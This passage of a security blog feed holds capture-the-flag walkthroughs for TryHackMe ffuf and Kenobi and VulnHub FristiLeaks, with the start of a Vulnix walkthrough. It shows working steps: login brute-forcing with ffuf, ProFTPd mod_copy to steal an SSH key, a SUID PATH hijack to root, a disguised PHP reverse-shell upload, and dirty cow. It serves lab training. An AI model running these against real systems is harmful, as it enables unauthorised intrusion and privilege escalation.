  <li>Again we need to run third given command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt</code> and observe the output.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What page has a size of 4840?</code> Answer <code class="language-plaintext highlighter-rouge">about.php</code></li>
  <li>If we run last given command, <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</code>. We will get some directories.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many directories are there?</code> Answer <code class="language-plaintext highlighter-rouge">4</code>
    <h2 id="using-filters">Using filters</h2>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">After applying the fc filter, how many results were returned?</code> Answer <code class="language-plaintext highlighter-rouge">11</code>. Got by observing output of command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">After applying the mc filter, how many results were returned?</code> Answer <code class="language-plaintext highlighter-rouge">6</code> . Got by observing output of command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -mc 200</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Which valuable file would have been hidden if you used -fc 403 instead of -fr?</code> Answer <code class="language-plaintext highlighter-rouge">wp-forum.phps</code>. Got by observing output difference between <code class="language-plaintext highlighter-rouge">-fc 403</code> command and command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/FUZZ -w /opt/wordlist/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt  -fr '/\..*'</code>
    <h2 id="fuzzing-parameters">Fuzzing parameters</h2>
  </li>
  <li>Terminate if any machine running and click on <code class="language-plaintext highlighter-rouge">Start Machine</code>. Also read this section.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the parameter you found?</code> Answer <code class="language-plaintext highlighter-rouge">id</code>. Got it from output of <code class="language-plaintext highlighter-rouge">ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /opt/wordlist/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fw 39</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the highest valid id?</code> Answer <code class="language-plaintext highlighter-rouge">14</code>. Got it by running, <code class="language-plaintext highlighter-rouge">for i in {0..255}; do echo $i; done | ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?id=FUZZ' -c -w - -fw 33</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is Dummy's password?</code> Answer <code class="language-plaintext highlighter-rouge">p@ssword</code>. Got it with command <code class="language-plaintext highlighter-rouge">ffuf -u http://MACHINE_IP/sqli-labs/Less-11/ -c -w /opt/wordlist/SecLists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&amp;passwd=FUZZ&amp;submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded' </code>.
    <h2 id="finding-vhosts-and-subdomains">Finding vhosts and subdomains</h2>
  </li>
  <li>Read the section properly, and mark it <code class="language-plaintext highlighter-rouge">Complete</code>.
    <h2 id="proxifying-ffuf-traffic">Proxifying ffuf traffic</h2>
  </li>
  <li>Read the section properly, and mark it <code class="language-plaintext highlighter-rouge">Complete</code>.
    <h2 id="reviewing-the-options">Reviewing the options</h2>
  </li>
  <li>Observe output of <code class="language-plaintext highlighter-rouge">ffuf -h</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you save the output to a markdown file (ffuf.md)?</code> Answer <code class="language-plaintext highlighter-rouge">-of md -o ffuf.md</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you re-use a raw http request file?</code> Answer <code class="language-plaintext highlighter-rouge">-request</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you strip comments from a wordlist?</code> Answer <code class="language-plaintext highlighter-rouge">-ic</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How would you read a wordlist from STDIN?</code> Answer <code class="language-plaintext highlighter-rouge">-w -</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you print full URLs and redirect locations?</code> Answer <code class="language-plaintext highlighter-rouge">-v</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What option would you use to follow redirects?</code> Answer <code class="language-plaintext highlighter-rouge">-r</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you enable colorized output?</code> Answer <code class="language-plaintext highlighter-rouge">-c</code>
    <h2 id="about-the-author">About the author</h2>
  </li>
  <li>Author details here, just click on <code class="language-plaintext highlighter-rouge">Complete</code> and done.</li>
</ul>

<p>Author: <a href="https://github.com/ZishanAdThandar/WriteUps/tree/main?tab=readme-ov-file#about-me">Zishan Ahamed Thandar</a></p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="thm" /><category term="ctf" /><category term="machine" /><category term="ffuf" /><category term="seclists" /><category term="web" /><summary type="html"><![CDATA[TryHackMe ffuf room walkthrough — learning web fuzzing and directory brute-forcing with ffuf, including filtering, matching, and recursive discovery techniques.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Kenobi - TryHackMe Walkthrough (Samba, ProFTPd, Privesc)</title><link href="https://zishanhack.com/blog/thm/kenobi/" rel="alternate" type="text/html" title="Kenobi - TryHackMe Walkthrough (Samba, ProFTPd, Privesc)" /><published>2024-07-01T00:00:00+05:30</published><updated>2024-07-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/kenobi</id><content type="html" xml:base="https://zishanhack.com/blog/thm/kenobi/"><![CDATA[<h2 id="kenobi">Kenobi</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#Deploy-the-vulnerable-machine">Deploy the vulnerable machine</a></li>
  <li><a href="#enumerating-samba-for-shares">Enumerating Samba for shares</a></li>
  <li><a href="#gain-initial-access-with-progtpd">Gain initial access with ProFtpd</a></li>
  <li><a href="#privilege-escalation-with-path-variable-manipulation">Privilege Escalation with Path Variable Manipulation</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/kenobi">https://thm.com/room/kenobi</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>NMap https://nmap.org/download</li>
  <li>Metasploit https://www.metasploit.com/download</li>
  <li></li>
</ul>

<h2 id="deploy-the-vulnerable-machine">Deploy the vulnerable machine</h2>

<ul>
  <li>Running nmap gives</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap 10.10.60.186
Starting Nmap 7.80 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-28 14:09 IST
Nmap scan report <span class="k">for </span>10.10.60.186
Host is up <span class="o">(</span>0.16s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 992 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
80/tcp   open     http
111/tcp  open     rpcbind
139/tcp  open     netbios-ssn
445/tcp  open     microsoft-ds
2049/tcp open     nfs
2500/tcp filtered rtsserv

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>20.38 seconds
</code></pre></div></div>

<ul>
  <li>Question “Scan the machine with nmap, how many ports are open?” Answer “7”
    <h2 id="enumerating-samba-for-shares">Enumerating Samba for shares</h2>
  </li>
  <li>Now we can scan it with given nmap commands.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p</span> 445 <span class="nt">--script</span><span class="o">=</span>smb-enum-shares.nse,smb-enum-users.nse 10.10.104.199
Starting Nmap 7.94 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-28 17:37 IST
Nmap scan report <span class="k">for </span>10.10.104.199
Host is up <span class="o">(</span>0.16s latency<span class="o">)</span><span class="nb">.</span>

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-enum-users: ERROR: Script execution failed <span class="o">(</span>use <span class="nt">-d</span> to debug<span class="o">)</span>
| smb-enum-shares: 
|   account_used: guest
|   <span class="se">\\</span>10.10.104.199<span class="se">\I</span>PC<span class="nv">$:</span> 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service <span class="o">(</span>kenobi server <span class="o">(</span>Samba, Ubuntu<span class="o">))</span>
|     Users: 1
|     Max Users: &lt;unlimited&gt;
|     Path: C:<span class="se">\t</span>mp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   <span class="se">\\</span>10.10.104.199<span class="se">\a</span>nonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: &lt;unlimited&gt;
|     Path: C:<span class="se">\h</span>ome<span class="se">\k</span>enobi<span class="se">\s</span>hare
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   <span class="se">\\</span>10.10.104.199<span class="se">\p</span>rint<span class="nv">$:</span> 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: &lt;unlimited&gt;
|     Path: C:<span class="se">\v</span>ar<span class="se">\l</span>ib<span class="se">\s</span>amba<span class="se">\p</span>rinters
|     Anonymous access: &lt;none&gt;
|_    Current user access: &lt;none&gt;

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>28.24 seconds

</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Using the nmap command above, how many shares have been found?</code> Answer <code class="language-plaintext highlighter-rouge">3</code></li>
  <li>Connected to smb as <code class="language-plaintext highlighter-rouge">anonymous</code> user using given command <code class="language-plaintext highlighter-rouge">smbclient //10.10.56.134/anonymous</code> to read files</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient //10.10.56.134/anonymous
Password <span class="k">for</span> <span class="o">[</span>WORKGROUP<span class="se">\r</span>oot]:
Try <span class="s2">"help"</span> to get a list of possible commands.
smb: <span class="se">\&gt;</span> <span class="nb">ls</span>
  <span class="nb">.</span>                                   D        0  Wed Sep  4 16:19:09 2019
  ..                                  D        0  Wed Sep  4 16:26:07 2019
  log.txt                             N    12237  Wed Sep  4 16:19:09 2019

		9204224 blocks of size 1024. 6877096 blocks available
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Once you're connected, list the files on the share. What is the file can you see?</code> Answer <code class="language-plaintext highlighter-rouge">log.txt</code></li>
  <li>Then used given command to download files,</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbget <span class="nt">-R</span> smb://10.10.56.134/anonymous
Password <span class="k">for</span> <span class="o">[</span>root] connecting to //10.10.56.134/anonymous: 
Using workgroup WORKGROUP, user root
smb://10.10.56.134/anonymous/log.txt                                                                        
Downloaded 11.95kB <span class="k">in </span>6 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What port is FTP running on?</code> Answer <code class="language-plaintext highlighter-rouge">21</code> Got it from <code class="language-plaintext highlighter-rouge">log.txt</code></li>
  <li>As given nmap scan command with script to scan port 111</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p</span> 111 <span class="nt">--script</span><span class="o">=</span>nfs-ls,nfs-statfs,nfs-showmount 10.10.56.134
Starting Nmap 7.94 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-28 23:36 IST
Nmap scan report <span class="k">for </span>10.10.56.134
Host is up <span class="o">(</span>0.16s latency<span class="o">)</span><span class="nb">.</span>

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1836540.0  6877088.0  22%   16.0T        32000
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  <span class="nb">.</span>
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwx   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  <span class="nb">local</span>
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-showmount: 
|_  /var <span class="k">*</span>

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>5.66 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What mount can we see?</code> Answer <code class="language-plaintext highlighter-rouge">/var</code></li>
</ul>

<h2 id="gain-initial-access-with-proftpd">Gain initial access with ProFtpd</h2>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the version?</code> (FTP) Answer <code class="language-plaintext highlighter-rouge">1.3.5</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc 10.10.245.171 21
220 ProFTPD 1.3.5 Server <span class="o">(</span>ProFTPD Default Installation<span class="o">)</span> <span class="o">[</span>10.10.245.171]
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">How many exploits are there for the ProFTPd running?</code> Answer <code class="language-plaintext highlighter-rouge">4</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit proftp 1.3.5
<span class="o">[</span>i] Found <span class="o">(</span><span class="c">#2): /opt/exploit-database/files_exploits.csv</span>
<span class="o">[</span>i] To remove this message, please edit <span class="s2">"/opt/exploit-database/.searchsploit_rc"</span> which has <span class="s2">"package_array: exploitdb"</span> to point too: path_array+<span class="o">=(</span><span class="s2">"/opt/exploit-database"</span><span class="o">)</span>

<span class="o">[</span>i] Found <span class="o">(</span><span class="c">#2): /opt/exploit-database/files_shellcodes.csv</span>
<span class="o">[</span>i] To remove this message, please edit <span class="s2">"/opt/exploit-database/.searchsploit_rc"</span> which has <span class="s2">"package_array: exploitdb"</span> to point too: path_array+<span class="o">=(</span><span class="s2">"/opt/exploit-database"</span><span class="o">)</span>

<span class="nt">--------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
 Exploit Title                                                            |  Path
<span class="nt">--------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
ProFTPd 1.3.5 - <span class="s1">'mod_copy'</span> Command Execution <span class="o">(</span>Metasploit<span class="o">)</span>                 | linux/remote/37262.rb
ProFTPd 1.3.5 - <span class="s1">'mod_copy'</span> Remote Command Execution                       | linux/remote/36803.py
ProFTPd 1.3.5 - <span class="s1">'mod_copy'</span> Remote Command Execution <span class="o">(</span>2<span class="o">)</span>                   | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                 | linux/remote/36742.txt
<span class="nt">--------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
Shellcodes: No Results
</code></pre></div></div>

<ul>
  <li>Copied <code class="language-plaintext highlighter-rouge">id_rsa</code> file according to given instruction</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc 10.10.245.171 21
220 ProFTPD 1.3.5 Server <span class="o">(</span>ProFTPD Default Installation<span class="o">)</span> <span class="o">[</span>10.10.245.171]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready <span class="k">for </span>destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
</code></pre></div></div>

<ul>
  <li>Mount NFS as instructed</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@system:/tmp# <span class="nb">mkdir</span> /mnt/kenobiNFS
root@system:/tmp# mount 10.10.245.171:/var /mnt/kenobiNFS
root@system:/tmp# <span class="nb">ls</span> <span class="nt">-la</span> /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root  4096 Sep  4  2019 <span class="nb">.</span>
drwxr-xr-x  3 root root  4096 Feb 29 10:11 ..
drwxr-xr-x  2 root root  4096 Sep  4  2019 backups
drwxr-xr-x  9 root root  4096 Sep  4  2019 cache
drwxrwxrwt  2 root root  4096 Sep  4  2019 crash
drwxr-xr-x 40 root root  4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff 4096 Apr 13  2016 <span class="nb">local
</span>lrwxrwxrwx  1 root root     9 Sep  4  2019 lock -&gt; /run/lock
drwxrwxr-x 10 root sgx   4096 Sep  4  2019 log
drwxrwsr-x  2 root mail  4096 Feb 27  2019 mail
drwxr-xr-x  2 root root  4096 Feb 27  2019 opt
lrwxrwxrwx  1 root root     4 Sep  4  2019 run -&gt; /run
drwxr-xr-x  2 root root  4096 Jan 30  2019 snap
drwxr-xr-x  5 root root  4096 Sep  4  2019 spool
drwxrwxrwt  6 root root  4096 Feb 29 10:00 tmp
drwxr-xr-x  3 root root  4096 Sep  4  2019 www

</code></pre></div></div>

<ul>
  <li>Copy id_rsa to local system and connect to the server using ssh as instructed</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@system:/tmp# <span class="nb">cp</span> /mnt/kenobiNFS/tmp/id_rsa <span class="nb">.</span>
root@system:/tmp# <span class="nb">chmod </span>600 id_rsa 
root@system:/tmp# ssh <span class="nt">-i</span> id_rsa kenobi@10.10.245.171
The authenticity of host <span class="s1">'10.10.245.171 (10.10.245.171)'</span> can<span class="s1">'t be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>10.10.245.171<span class="s1">' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo &lt;command&gt;".
See "man sudo_root" for details.

kenobi@kenobi:~$ 
</span></code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is Kenobi's user flag (/home/kenobi/user.txt)?</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> 32 alphanumeric characters. Get using <code class="language-plaintext highlighter-rouge">cat /home/kenobi/user.txt</code>
    <h2 id="privilege-escalation-with-path-variable-manipulation">Privilege Escalation with Path Variable Manipulation</h2>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">What file looks particularly out of the ordinary?</code> Answer <code class="language-plaintext highlighter-rouge">/usr/bin/menu</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kenobi@kenobi:~<span class="nv">$ </span>find / <span class="nt">-perm</span> <span class="nt">-u</span><span class="o">=</span>s <span class="nt">-type</span> f 2&gt;/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Run the binary, how many options appear?</code> Answer <code class="language-plaintext highlighter-rouge">3</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kenobi@kenobi:~<span class="nv">$ </span>/usr/bin/menu

<span class="k">***************************************</span>
- status check
- kernel version
- ifconfig
<span class="k">**</span> Enter your choice :

</code></pre></div></div>

<ul>
  <li>Now time to do reverse. We are going to run simple command <code class="language-plaintext highlighter-rouge">strings /usr/bin/menu</code>. (As instructed)
Result shows:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">**</span> Enter your choice :
curl <span class="nt">-I</span> localhost
<span class="nb">uname</span> <span class="nt">-r</span>
ifconfig
</code></pre></div></div>

<ul>
  <li>So we can assume choosing first option run first command <code class="language-plaintext highlighter-rouge">curl -I localhost</code> (As instructed).So we can change it to exploit.</li>
  <li>We can simply follow instruction to create file named curl with executable permission and add the file loacation to our path. Then simply running menu and selecting first option will do the rest as it run the curl we created, we will get root shell.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kenobi@kenobi:~<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"/bin/sh"</span> <span class="o">&gt;</span>curl
kenobi@kenobi:~<span class="nv">$ </span><span class="nb">chmod </span>777 curl
kenobi@kenobi:~<span class="nv">$ </span><span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span>/home/kenobi:<span class="nv">$PATH</span>
kenobi@kenobi:~<span class="nv">$ </span>/usr/bin/menu

<span class="k">***************************************</span>
- status check
- kernel version
- ifconfig
<span class="k">**</span> Enter your choice :1
<span class="c"># id</span>

<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>kenobi<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>kenobi<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,110<span class="o">(</span>lxd<span class="o">)</span>,113<span class="o">(</span>lpadmin<span class="o">)</span>,114<span class="o">(</span>sambashare<span class="o">)</span>
<span class="c"># </span>

</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the root flag (/root/root.txt)?</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> 32 alphanumeric chars. Command used <code class="language-plaintext highlighter-rouge">cat /root/root.txt</code></li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="thm" /><category term="nmap" /><category term="metasploit" /><category term="smb" /><category term="rce" /><category term="searchsploit" /><summary type="html"><![CDATA[TryHackMe Kenobi walkthrough — enumerating Samba shares, exploiting ProFTPd with searchsploit, and privilege escalation via SUID path variable manipulation.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">FristiLeaks 1.3 - VulnHub Walkthrough (nmap, dirb, netcat)</title><link href="https://zishanhack.com/blog/vulnhub/fristileaks13/" rel="alternate" type="text/html" title="FristiLeaks 1.3 - VulnHub Walkthrough (nmap, dirb, netcat)" /><published>2024-05-20T00:00:00+05:30</published><updated>2024-05-20T00:00:00+05:30</updated><id>https://zishanhack.com/blog/vulnhub/fristileaks13</id><content type="html" xml:base="https://zishanhack.com/blog/vulnhub/fristileaks13/"><![CDATA[<h2 id="fristileaks-13">FristiLeaks: 1.3</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#gaining-access">Gaining Access</a></li>
  <li><a href="#priviledge-escalation">Priviledge Escalation</a></li>
</ul>

<p>Machine: <a href="https://www.vulnhub.com/entry/fristileaks-13,133/">https://www.vulnhub.com/entry/fristileaks-13,133/</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://nmap.org/">NMap</a></li>
  <li>dirb</li>
  <li>netcat</li>
</ul>

<h2 id="gaining-access">Gaining Access</h2>

<ul>
  <li>Download VM and Install OVA file. Open the machine, you will get the IP. In my case IP is 192.168.0.10.</li>
  <li>Basic <code class="language-plaintext highlighter-rouge">NMap</code> scan shows http port 80 is open. There is a website running there.</li>
  <li>Running directory busting tool <code class="language-plaintext highlighter-rouge">dirb</code> gives <code class="language-plaintext highlighter-rouge">robots.txt</code> url.</li>
  <li>There are three links inside <code class="language-plaintext highlighter-rouge">robots.txt</code>. But those links are not useful.</li>
  <li>But all those links are rabbit holes. So, I guessed fristi as wordlist as the word fristi is everywhere and found this link, <code class="language-plaintext highlighter-rouge">http://192.168.0.10/fristi/</code>.</li>
  <li>If we open source code, we can find username as <code class="language-plaintext highlighter-rouge">eezeepz</code> Inside an html comment.</li>
  <li>We can find <code class="language-plaintext highlighter-rouge">base64</code> string inside another html comment.</li>
  <li>If we convert the <code class="language-plaintext highlighter-rouge">base64</code> to <code class="language-plaintext highlighter-rouge">png</code>, it will load the image with the password <code class="language-plaintext highlighter-rouge">keKkeKKeKKeKkEkkEk</code>.</li>
  <li>Now we can login with username <code class="language-plaintext highlighter-rouge">eezeepz</code> and password <code class="language-plaintext highlighter-rouge">keKkeKKeKKeKkEkkEk</code>.</li>
  <li>Now we have an interface to upload files.</li>
  <li>Tried to upload a shell but only image files were allowed. So, I downloaded the pentester monkey php reverse shell from https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php and updated the ip port to machine ip and listener port. Then renamed the file with <code class="language-plaintext highlighter-rouge">.jpg</code> extension.</li>
  <li>If we open a <code class="language-plaintext highlighter-rouge">netcat</code> listener with <code class="language-plaintext highlighter-rouge">nc -lvp port</code>. Then open the link <code class="language-plaintext highlighter-rouge">http://{VM_IP}/fristi/uploads/{upload_file_name}</code> then we will get reverse shell.</li>
</ul>

<h2 id="priviledge-escalation">Priviledge Escalation</h2>

<ul>
  <li>By running <code class="language-plaintext highlighter-rouge">uname -a</code> we can find that version is vulnerable to <code class="language-plaintext highlighter-rouge">dirty cow</code>. I used this exploit https://www.exploit-db.com/exploits/40839 and added a user named <code class="language-plaintext highlighter-rouge">firefart</code> as root user with password <code class="language-plaintext highlighter-rouge">password</code>.</li>
  <li>Now we can simply get a <code class="language-plaintext highlighter-rouge">tty shell</code> to make the shell interactive with <code class="language-plaintext highlighter-rouge">python -c 'import pty; pty.spawn("/bin/bash")'</code> and login as root user <code class="language-plaintext highlighter-rouge">firefart</code> with <code class="language-plaintext highlighter-rouge">su firefart</code>.</li>
  <li>Now we can simply got to root directory and find a file with name <code class="language-plaintext highlighter-rouge">fristileaks_secrets.txt</code>. Inside that file we have the flag <code class="language-plaintext highlighter-rouge">Y0u_kn0w_y0u_l0ve_fr1st1</code>.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="vulnhub" /><summary type="html"><![CDATA[VulnHub FristiLeaks 1.3 walkthrough — web enumeration with dirb, exploiting a command injection vulnerability, and privilege escalation to root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HackLAB Vulnix - VulnHub Sudo Privilege Escalation</title><link href="https://zishanhack.com/blog/vulnhub/hacklab-vulnix/" rel="alternate" type="text/html" title="HackLAB Vulnix - VulnHub Sudo Privilege Escalation" /><published>2024-05-18T00:00:00+05:30</published><updated>2024-05-18T00:00:00+05:30</updated><id>https://zishanhack.com/blog/vulnhub/hacklab-vulnix</id><content type="html" xml:base="https://zishanhack.com/blog/vulnhub/hacklab-vulnix/"><![CDATA[<h2 id="hacklab-vulnix">HackLAB: Vulnix</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#gaining-access">Gaining Access</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
  <li><a href="#lessons-learned">Lessons Learned</a></li>
</ul>

<p>Machine: <a href="https://www.vulnhub.com/entry/hacklab-vulnix%2C48/">https://www.vulnhub.com/entry/hacklab-vulnix%2C48/</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://nmap.org/">NMap</a> — network scanner</li>
  <li><a href="https://github.com/vanhauser-thc/thc-hydra">Hydra</a> — password brute-forcing tool</li>
  <li>ssh — Secure Shell client for remote access</li>
</ul>

<h2 id="gaining-access">Gaining Access</h2>

<ol>
  <li>
    <p>Deploy the VM with a bridged adapter. After finding the target IP (in my case <code class="language-plaintext highlighter-rouge">192.168.0.8</code>), run a full port scan:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 192.168.0.8
</code></pre></div>    </div>

    <p>The scan reveals multiple open services: SSH (22), SMTP (25), Finger (79), POP3 (110), and RPCBind (111).</p>
  </li>
  <li>
